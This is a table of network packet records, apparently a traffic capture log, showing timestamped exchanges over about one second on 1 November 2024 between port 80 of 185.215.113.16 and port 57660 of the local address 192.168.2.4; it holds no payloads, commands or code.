Nov 1, 2024 08:51:12.578269005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578305006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578315020 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578350067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578372955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578407049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578419924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578440905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578455925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578480959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578886032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578943968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578984022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.579014063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.579040051 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.579046011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.579068899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.579595089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.607547045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607585907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607624054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607628107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.607661963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607669115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.607697010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.607697964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607728958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.607742071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.607762098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609067917 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609117985 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609122038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609173059 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609191895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609227896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609241009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609273911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609278917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609308004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609312057 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609342098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609347105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609376907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.609380007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.609411001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.694552898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.694577932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.694706917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.695815086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695827007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695847034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695858955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695869923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695878983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695878983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.695951939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.695955992 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.695960999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.696007967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.696039915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.696453094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.696464062 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.696475029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.696508884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.696533918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.725008965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.725049019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.725059032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.725070000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.725083113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.725140095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.725188017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726475000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726519108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726531029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726537943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726550102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726560116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726568937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726582050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726583004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726583958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726602077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726608992 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726613998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726619005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726625919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.726629972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.726663113 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.812011003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.812021971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.812153101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.813337088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813348055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813395023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813405037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813424110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.813440084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813450098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.813456059 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.813504934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.814043045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.814054966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.814059973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.814117908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.842674017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.842730045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.842745066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.842756033 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.842766047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.842825890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.842871904 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.844141960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844223022 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.844244957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844259977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844265938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844270945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844280958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844294071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844305992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844320059 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.844366074 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.844388962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844398022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.844427109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.844460011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.884560108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.884609938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.884674072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.884674072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931008101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931024075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931035042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931088924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931088924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931124926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931137085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931175947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931204081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931636095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931688070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931713104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931724072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931735992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.931765079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931765079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.931792974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.960122108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960186958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960200071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960211039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960222006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960233927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.960257053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.960304976 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961707115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961776972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961798906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961810112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961821079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961831093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961838007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961842060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961855888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961858988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961880922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961899996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.961962938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961977005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961987972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961998940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.961999893 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.962037086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.962059975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.962069988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.962081909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.962105989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.962130070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.044903040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.044919014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.045067072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.048691988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048751116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.048856974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048868895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048878908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048891068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048901081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.048907995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.048923016 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.048944950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.049369097 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.049381018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.049417973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198066950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198085070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198096991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198107958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198179960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198191881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198203087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198214054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198232889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198244095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198256016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198266983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198281050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198281050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198292017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198302984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198312998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198314905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198328018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198335886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198338985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198349953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198355913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198360920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198371887 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198371887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198385954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.198400974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.198425055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315690994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315718889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315732002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315746069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315757036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315773964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315785885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315795898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315809011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315875053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315879107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315886974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315897942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315913916 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315916061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315934896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315936089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315947056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315951109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315958023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315968990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.315977097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.315999031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316003084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316011906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316023111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316034079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316046000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316047907 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316056967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316060066 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316068888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316080093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316087961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316092014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316103935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316112041 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316114902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.316127062 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.316154957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.403567076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.403593063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.403604984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.403650999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.403665066 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.403702021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432661057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432734013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432831049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432845116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432857990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432868958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432882071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432882071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432893038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432908058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.432909966 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432956934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432979107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.432985067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433003902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433031082 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.433051109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.433178902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433199883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433208942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433219910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.433239937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.433290005 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.476638079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.476661921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.476671934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.476720095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.476742029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.521254063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521294117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521306992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521334887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521347046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.521351099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521367073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.521377087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.521387100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.521414042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.550148964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550178051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550200939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550216913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550231934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550250053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550256968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550271988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550386906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.550707102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550723076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550739050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.550766945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.550793886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.592891932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.592917919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.592938900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.593018055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.593183994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.594491959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.594558001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.594568014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.594583988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.594610929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.594629049 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.639018059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.639055967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.639082909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.639098883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.639116049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.639128923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.639162064 CET	57660	80	192.168.2.4	185.215.113.16
